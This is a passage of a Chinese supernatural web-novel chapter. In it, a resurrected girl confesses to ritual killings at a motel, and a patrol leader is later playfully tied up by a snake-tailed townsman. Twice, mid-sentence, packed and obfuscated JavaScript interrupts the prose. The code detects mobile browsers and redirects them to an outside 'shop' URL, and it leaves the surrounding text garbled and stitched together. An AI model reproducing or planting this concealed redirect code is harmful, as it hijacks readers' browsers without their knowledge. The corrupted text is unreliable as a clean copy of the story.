安妮说:“…我很害怕,但我知道,如果想要把73号的生意做下去,这条蛇总有一天要再次现身——你们知道的,蛇尾嫁接的其中一种原材料是亚种衔尾蛇的毒液,母亲死后,那条蛇就消失了,我们一直在用母亲剩下的,虽然用的很节省,但眼看也就要耗尽了。” “所以我把它养了起来,每天喂我的血,很多年过去了,它丝毫没有长大,也没有蜕过一次皮……有一次我在捣药时不小心砸断手指,它就把我的断指吞了下去,第二天,我的手又变成正常的样子,”安妮越说越混乱,“那之后,它的声音更大了,日夜不息,没有休止,很多次我只是坐着,就会感觉有几千个、几万个、几亿个人贴在我耳畔,像潮水,不,像巨眼,像一只长满了巨眼的生物,站在窗边看你。” 声音像巨眼。 听到这个比喻,兴瞳的手指微微一颤。 ——和梦里一样,当他躺在亚当怀中时,窗外的雨声仿佛不是雨声,而是窥探着他们的目光。那片雨声,那些“目光”,黏在他身上,黏在亚当身上,铺天盖地、窸窸窣窣,像阴沟里攒动的老鼠…… 安妮说:“后来我渐渐习惯了。父亲也并没有再与祖父祖母争吵,73号的生意非常火热,只是有一天,父亲的‘病’突然加重,但仍然拒绝治疗。于是,祖父和祖母只能开着车,带我一起去镇中……哦,也就是枫糖医院拿药。路上,我们遭遇了车祸。” 说这话时,安妮呆滞地盯着岳山原:“祖父和祖母当场死亡,我坐在后排,没有死,但是脊柱被折断了,腿也一样,我流了很多血,后来车子开始着火,我整个人都被烧焦了。疼吗?当然疼,疼得仿佛真的坠入地狱,真的被永不停歇的烈火焚烤——可是那一瞬间,我竟然感到了解脱。” “声音,消失了;眼睛,消失了……刚死之后的几天,我不知道发生了什么,我只知道,父亲把我们的遗体都领回家,准备第二天一早就火化掉……但事情并没有就这样结束,那条蛇找上了他,诱惑他为我举行复活仪式。” 胖子忍不住问:“他……愿意吗?” “他当然不愿意!”安妮冷笑,“我的父亲,他真是个‘意志坚定’的好人!即使遭受精神污染,在仪式举行到一半时他还是惊醒并毁掉了所有符文!可已经晚了、晚了……他惨死的女儿重新找回了她的灵魂,肉/体却因为中断的仪式而停留在死前的模样,你们看,我还像个人吗?!” 突然间,趴在地上的安妮消失了,取而代之的是一具被烧成焦褐色的身体,那身体浑身上下布满疤痕和脓液,背后两根凸起的白骨,双腿扭曲得没有人形。 安妮咳出一口血沫:“看到了吗,这就是我的样子,不人不鬼,毫无尊严。我恨,我太恨了,我爬向我的父亲,可那个懦夫,他竟然捡起刀!划开了自己的喉咙!但没关系啊,没关系的……我可以复活他,我变成了衔尾生物,我可以彻底运用亚种衔尾蛇的力量,我要复活他,让他永远和我生活在一起,看着我这副模样,永生永世不断地吞噬自己!” 说着,她又突然痛哭起来:“当时复活妈妈的时候,我不该去找任何人,我怕死,我也没有看懂她的笔记。如果仪式能成功,那么妈妈就可以做我的辅助者,是因为我太笨了,太蠢了,我去找了他!!” 岳山原没有说话。 米奇让她哭了一会儿,然后问:“所以你父亲……拉里·布朗,他听到‘眼球’、‘碎肉’和‘肠子’就会感到害怕,是因为每过一段时间,他都要吃掉自己的眼球,然后再重新生长出别的眼球?那二楼的祭祀场又是什么怎么回事?” 安妮擦干眼泪:“眼球?对,但他不想吃,宁肯瞎着,宁肯让身体从眼球处一点一点溃烂,宁肯变成一个怪物。可我想让他吃,我逼他吃,让他知道生不如死是什么滋味,那就是我的感觉!妈妈、祖父和祖母,我的亲人都死了!!” 岳山原又伸出一根灵感线。 安妮说:“……哈……我不知道二楼的祭祀场是怎么回事,或许是他的行为惹怒了那条蛇,自从我复活,每隔一段时间二楼就会变成地狱,即使没有火和怪物的时候,只要走进去,也会有种被蛇肠吞噬的感觉……我研究了妈妈的笔记,但没有找到太多解决办法,只发现亚种衔尾蛇是‘萨吉古蛇’的衍生嗣,所以抓了具有这些蛇尾的人到二楼献祭,一开始有一点用处,后来怪物出现的频率越来越高,好几次,我们几乎要被永远困在里面走不出来。但我需要进入那里,我父亲也需要,吞服肢体必须要在最初复活的地方。” 米奇:“……你们杀了多少人?” 安妮:“记不清了,可能几十,可能上百,很多人专门从外地赶来,消失了也很难有人发现,再加上当时枫糖镇的情况,污染物到处都是,有谁会怀疑我们……哈……现在外面是什么情况,从外面来的人多吗?” “哦,现在都是镇民,没有什么外地人了……” “没有?没有……”安妮眼神中闪过一丝迷茫,似乎有什么东西正在她头脑里翻涌,“对了,是没有,枫糖镇一直是这样,是没有……” 60分钟快到了,米奇准备关掉录音,他看向安妮:“你还有什么要说的吗?” 安妮摇头:“祖父祖母出事后,我接管了73号公路旅馆的生意,为了吸引到更多的客人,我调低了价格——我不得不这样做,如果没有新的人蛇祭品,祭祀场的火焰很快会将我们吞噬,当然,我的父亲,他还是像以前那样懦弱,只会逃避,从来不像个男人。” 在“域”中时,旅馆的一切生意都由安妮主持,原来那时她就已经开始猎杀客人。 “我不记得那样过了多久,总之有一天,那条蛇突然缠住了我的喉咙,我以为我要死了,可再次醒来还是在旅馆,周围似乎没变又似乎完全不同,我忘记了很多事,又不断重复复活后的经历,周围人的一举一动都逐渐符合我的期望……我想,你们所说的‘情景’,可能就是从那时候开始的吧。” 米奇叹了口气。 安妮说:“我想继续活着,你们能让我活着吗?我知道,这里不是真实的世界,是被我的执念构造出来的,可我不想死,我不想离开,没有灵魂,人就什么都没有了……” 胖子惊恐道:“可是……你杀了人。” 安妮陷入沉默。 半晌,她慢慢平躺到地面,扭曲的身体以一种诡异的姿势完全摊开,她注视着天花板,在灵感线的驱使下,水泥色的眼球逐渐变成原本的样子。 在这场异化情景当中,除了安妮,其他所有人都是“假”的,灵魂早已磨灭,只剩下一个躯壳。情景中的拉里·布朗和现实中完全不同,他主动操持旅馆的生意、会关心安妮……这一切当然只是安妮的幻想,因为她希望有一个这样的父亲,所以情景就变成了她想要的样子。 可别忘了,即使是这样的拉里·布朗,依旧显得懦弱、畏缩,甚至连从未见过他的岳山原都能很快发现,这难道是因为他的灵魂残留吗。 不,不会是这样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152834|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 拉里·布朗的眼睛已经彻底化为灰白,或许一开始他的灵魂仍然陪在安妮身边,但现在,十年过去了,无论是顶天立地还是懦弱,无论是关心还是恐惧,甚至连刚刚他袭击岳山原、想要解救安妮、在走廊中哀鸣……这一切的一切,都不过只是安妮的幻想。 她想要惩罚他,可他已经永远不在了。 懦弱的父亲、固执的父亲、令人憎恨的父亲、顶天立地的父亲……都已经不在了。化为灰烬,消磨于时间,连惩罚的人都只是自己的幻想,恨,又能寄托在什么地方。 安妮木然,然后紧接着笑起来,一边笑,一边哭,她似乎在呢喃着什么,可所有人都只听见了一句:“你们知道吗?妈妈说过,绝不能在清白中死去,绝不,绝不……绝不………绝不在清白中死去!!只要灵魂还在,盛装灵魂的器皿又有什么关系,我的父亲,他不懂灵魂是什么,他只知道肉/体是重要的,可重要的是我们的思想,是思维,是灵魂!灵……灵……灵才是……是永生……” 如果你真的这样想—— 那么,你为什么不复活夏洛特·布朗与约翰·布朗。 你可以做到的,对吗。 岳山原盯着自己的灵感线看了一会儿,最终并没有问出这句话。 巡逻组禁止在情景中肆意杀戮没有化为怪物的人类,哪怕他们的眼睛已经变成了纯白色。 巡逻组禁止在情景中随便评价谁有罪谁无罪,哪怕你听到的故事让你感到恶寒。 岳山原今年才28岁,可已经走过了无数情景。 这些情景中有人可怜,有人罪恶,有人又可怜又罪恶,可岳山原越来越不想去体会,也不想去评价……所有人都拥有一段十分复杂的过往,而他只能为活着的镇民而来。 最终,米奇打破了沉默:“快结束了吧?” “快了。”岳山原收回目光,被灵感线连着的安妮已经开始变得透明,周围的墙壁也逐渐褪色剥落,一切都在慢慢消逝。 再过一个小时,他们就能从这里出去。 这次仓促而行的救援任务,也总算能够画上句号。 米奇:“那行,我去找个干净点的地,咱们呆一会儿。” 岳山原按了按额角,这次情景并不算很高危,他只动用了五根灵感线,但却不知道为什么头越来越疼,好像有一根细针伸进他的脑子里,来回搅个不停。 他本想忍,可一个诡异的念头却在心里悄然浮现。 那念头说: ——还记得那个镇民吗? ——那个镇民,那个年轻人,靠近他时你的头疼会减轻。 ——只要过去,现在,在那个人身边坐下,哪怕只是坐一会儿,就可以好受不少,如果还能抱住他,那么你将会…… 岳山原深吸一口气,走到离兴瞳最远的墙角——他不能放纵,他必须习惯这样的疼痛,总不能以后每天都把那个镇民像止疼药一样带在身边……不能,这不可能…… 灵感线还在工作,男人捂住眼睛,刚要强迫自己浅眠,本已经离开的米奇却突然折返。 他伸手在岳山原眼前晃了晃:“老大,老大?你又头疼了?那啥,博士不是说了吗,头疼的时候尽量找点事做,别干忍着,喂?老大?你听见没啊——” 岳山原掀起眼皮,眼尾眉梢的戾气仿佛能把周围所有活物都给一刀劈了。 米奇知道他这是听见了,于是问:“你准备去干啥?” 岳山原决定去外面找吃的,但他的嘴似乎并不服从大脑的调配,起身的瞬间,米奇听到他说: “哦,我去看看兴瞳。” 21. 021 兴瞳?兴瞳正在和那条亚种衔尾蛇斗智斗勇。 刚刚安妮讲到一半他就开始走神,因为视线中突然出现一条黑色的小蛇,顺着他的尾巴慢慢爬到肚皮,看方向又是要来咬他的脖颈。 兴瞳不想再做梦了,准备抖开它,可是蛇尾受伤动不了,只好捏住它的蛇头,恶狠狠地瞪了它一眼。 蛇应当是没有视力的,可这小黑蛇立刻露出一个委屈的表情,被兴瞳扔掉以后,飞快爬到他尾巴受伤的部分,来回爬了几圈,断骨就重新长好。 兴瞳:“走开。” 黑蛇难过地爬走。 污染物是令人讨厌的东西。 兴瞳憎恶它们,却迷恋制作标本的过程,那些气息吸引着他的同时又让他作呕,只有被做成标本、关进地下室以后,这种憎恶才会变成喜欢。 可问题是,兴瞳似乎并没有意识到自己不讨厌岳山原,或许隐约有所察觉,但为了能够收集到这个标本,他并不想承认。 余光中,男人正朝他滑过来。 兴瞳一动不动地躺在原地,为了接下去的计划,他决定仍然假装蛇尾受伤。 “怎么样。”男人在他面前停下,恰好站在他蛇尾卷不到的地方。 兴瞳说:“还……还是很疼。” “很、疼?”男人皱眉,似乎觉得不应该这样,他俯身准备仔细查看,却又在伸出手的瞬间犹豫了。 兴瞳趁机卷住他的手指:“长官,真的很疼,我想躺到床上,您能带我去吗……” 岳山原蜷起指骨,几乎想要把这截可爱的尾巴揪下来,放在手里把玩。 然而,他第一万次告诉自己,你出了问题,但不要伤害镇民。 他放开手,尽量让声音听起来平静:“这里的床被拆毁了。” 兴瞳说:“那能去别的地方吗,我只想躺一会儿。” 只想和你独处一会儿,好把你囚禁起来,再让米奇长官来救你,这样我就有两个证人…… 岳山原没有说好,也没有说不好,他绕开手指上的尾巴,离开房间,五分钟后带回来一辆小推车。 兴瞳:“?” 那推车看上去是在超市中用来购物的东西,空间很大,足够他半躺,不够的长度还能从缝隙中伸出。 岳山原弯腰,朝兴瞳伸出两只胳膊。 兴瞳纠结了一下,还是揽住了他的脖子,整个人被他托着抱起来,又平稳地放进小推车。 “别动。”男人说着掏出一卷黑胶布,把蛇尾断裂的部分和小推车捆在一起,避免移动时再受伤。 兴瞳说:“可以不要黏住我吗……” 男人挑眉,那表情好像在说:那你想怎么办? 兴瞳不敢说话了,男人就推着他往外走,中途胖子也加入进来。 他说:“长官,安妮的父亲真的已经不在了?他的灵魂真的已经不在身体里了吗?你看门口,那具身体都僵了,这才过去五分钟,看来真的没有灵魂。可是如果没有灵魂,那岂不是都只是安妮的意念在操控这些躯壳,她不觉得无聊吗?唉,我觉得她有点可怜,但她后来又害了那么多人,说到底,还都是污染物作祟吧,如果没有那条蛇,事情也不会变成现在这个样子……” 岳山原对此不发表意见,兴瞳则无暇体会人类的情感——他正努力揭开尾巴上的胶,准备瞅准时机拐走岳山原。 可让他没想到的是,男人似乎有些过于敏锐,走到一半,他的肩膀突然被按住:“你在干什么?” “没什么……”兴瞳立刻停下动作,“胶带缠得太紧了,长官……” 男人“嗯”了一声,却并不帮他揭掉。 胖子继续道:“唉,我还没说呢,之前那次多亏了兴瞳,要不是他把我撞开,我可能就没命了,他这还受伤,唉,出去之后我一定要去你家找你……长官长官,您再和我讲讲呗,为什么不能杀了安妮的爸爸,但是能杀二楼的那些怪物?那些怪物都是人吗?。” “情景中的‘人’不能随便杀,看到水泥色眼睛就尽量避开。怪物可以杀,有的是情景意念幻化而来,也有从曾经的‘人’转变过来。”岳山原被短暂地转移走注意力,兴瞳在心里给胖子加油,低头继续和胶带斗智斗勇。 呼。 好半天,他揭掉了其中两条,还剩下一条,刚准备一鼓作气,体内却突然升腾起一股强烈的热感。 糟了。 拟态期……假性拟态期又来了。 通常情况下,他的拟态期分为两种,一种是会弹出鳞翅的真拟态,一种是没有鳞翅、只有症状的假性拟态。以往这两种拟态期会交替进行,很久才爆发一次,可最近半年,不知道为什么他的拟态期越来越频繁,每每发作就要折磨他很久,而且只要弹出过一次鳞翅,随后而来的一定是连续很多次的假性拟态症状。 算了……兴瞳安慰自己,其实在这个时候,也没什么大不了的…… 反正,他只是要失去理智的,看起来失去就可以…… 症状蔓延很快,兴瞳的双手逐渐变得酸软,幸好胖子还在和岳山原说话。 “其实我觉得安妮也是被影响了,她自己也不觉得被复活是好事吧?否则为什么不连祖父祖母一块复活了,而是只复活了父亲,要是她没杀人就好了,没杀人,您是不是就能让她一直活在情景里,然后想别的办法把我们弄出去?不对,不管怎么说她都杀人了,情景一形成,周围那些人就都被她控制了……” 胖子絮絮叨叨了很久,岳山原耐心等他说完,然后道:“阿尔德·波维奇。” “啊,您在叫我吗?是呀是我,我就叫这个名字。” “出去以后,好好过自己的生活吧。” 胖子愣住了,半晌摸了摸自己的脑袋。 前方,快要晕倒的兴瞳终于揭开了最后一条黑胶,他立刻扬起蛇尾,不管不顾地卷住一只门把手,拧开门,把自己和男人一股脑给拖进去。 “诶诶诶?!!”胖子愣了好几秒也没反应出怎么回事,等他扑上前的时候,兴瞳已经上好门锁,从翻倒的小推车里爬了出来。 岳山原很快稳住身形,看着一点一点爬向他的青年。 青年明显不是很清醒,裸/露在外的皮肤全都泛着不正常的粉色,目光湿漉漉的,瞳孔却好像难以聚焦。 岳山原并不觉得他能把自己怎么样,可等他把人从地上拎起来时,却发现青年的断骨已经悄然长好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152835|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼神一变,还没来得及动作,那蛇尾突然爆发出惊人的力道,直接把他拽倒按在床边。 “兴瞳,”岳山原呼吸急促,“你知道你在干什么吗?” “我知道,我在……唔……”兴瞳眯了眯眼,靠在他身上缓了一会儿,才开始用胶带捆他,“我在、我在囚禁你……我没有……没有理智了……你看出来了吧……” “……”岳山原突然觉得是自己疯了。 他看了一眼青年粘在他右手腕的东西,轻轻一挣。 兴瞳盯着掉落的胶带看了两秒,“撕拉”一下,又往男人手上黏了一块。 男人再挣脱,兴瞳再黏,黏完又被挣脱,然后再黏………来回几十次之后,兴瞳沉沉吸了口气,把手里的胶带扔掉,改为抱住男人的尾巴往床上拽。 岳山原不知道该不该反抗,与此同时,消失了很久的米奇终于闻声折返。 他隔开胖子,屏住呼吸,小心翼翼地从门上的小玻璃窗往内看了一眼:“老大?你还好吗,要我来救你吗?我估计应该没啥事吧,咳咳,那啥,如果是那什么,我们就不围观了哈——” “……滚。”岳山原青筋暴跳。 这一“滚”让米奇更加误会,立刻原地转身一百八十度,带着胖子飞快离开。 等人跑出去好几分钟,岳山原才发觉不对劲,刚想把人喊回来解释,搭在床边的尾巴突然被人咬了一口。 “你……你不要反抗了好不好。” 兴瞳热得难受,可他的冰块不管怎么摆弄就是不听话,只能强忍着热意,委屈地看向岳山原。 两人对峙片刻。 男人突然叹了口气,把尾巴放进他怀里:“很脏,别咬了。” 兴瞳说:“那你不反抗了吗。” 岳山原不知道。 某一瞬间,他还想坚守自己的底线,可头疼被舒缓的感觉实在太过美妙,青年的眼泪又像两滴落在他心头的岩浆……他犹豫着,然后就不知不觉地躺下,任由青年拾起那捆胶带,把他绑成一个极其松垮的粽子。 最后被绑的地方是手腕。 岳山原能感觉到兴瞳没什么力气,似乎还在发热。或许正是因为这样,在他凑过来想要用嘴咬断胶布的时候,男人鬼使神差地抬起拇指,蹭掉了他的一滴眼泪。 兴瞳:“唔。” 他呆呆地看了看自己的“杰作”,然后艰难地爬下床,爬到门口,扶着墙壁直起身。 “米奇长官?你在吗?”他的声音很小,可米奇那家伙根本没走远,瞬间露出一个脑袋。 “怎么了弟弟。”米奇说着,飞快往里瞄了一眼。 妈呀这是在干什么,老大你、这、怎么黑乎乎的……我不会被灭口吧? 兴瞳又缓了一会儿,才隔着一层玻璃对米奇说:“……我已经把他绑起来,绑得很紧,你看到了吗。” 米奇不敢说话,沉默两秒,又战战兢兢地蹲下去。 他看得出,老大根本没被捆住。 床上,岳山原那刚消停没多久的头又开始疼了——这次是被气的。 他直接挣脱一只手,果然看到青年难以相信又无法接受的目光:“……回来。”